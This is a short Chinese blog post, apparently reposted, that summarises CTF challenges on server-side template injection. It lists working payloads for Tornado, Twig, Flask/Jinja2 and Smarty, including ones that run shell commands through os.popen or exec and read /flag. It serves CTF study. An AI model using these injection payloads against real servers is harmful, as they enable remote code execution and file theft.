第1-63题总结:SSTI模板注入篇

Posted 想学习安全的小白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了第1-63题总结:SSTI模板注入篇相关的知识,希望对你有一定的参考价值。

第一种:tornado,eg:第十二题

tornado在URL上进行注入,利用{{handerler.settings}}获取成员变量,利用{%命令%}执行控制语句

第二种:Twig模板

  1. 输入{{7*‘7’}}后出现49,而不是7777777,说明是使用Twig模板而不是Jinja2
  2. {{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“cat /flag”)}}获取flag

第三种:Flask,eg:第六十二题

使用url_for.__globals__获取全局变量,看到current_app,再通过current_app获取到flag,最终:/shrine/{{url_for.__globals__["current_app"].config['FLAG']}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

第四种:Smarty

利用:X-Forwarded-For:{if phpinfo()}{/if}测试是否存在漏洞
利用:X-Forwarded-For:{if readfile(’/flag’)}{/if}读取flag文件

以上是关于第1-63题总结:SSTI模板注入篇的主要内容,如果未能解决你的问题,请参考以下文章

安全-Simple_SSTI1(BugkuCTF)

python-SSTI模板注入

详解SSTI模板注入

详解SSTI模板注入

第1-63题总结:文件上传篇

SSTI-服务端模板注入漏洞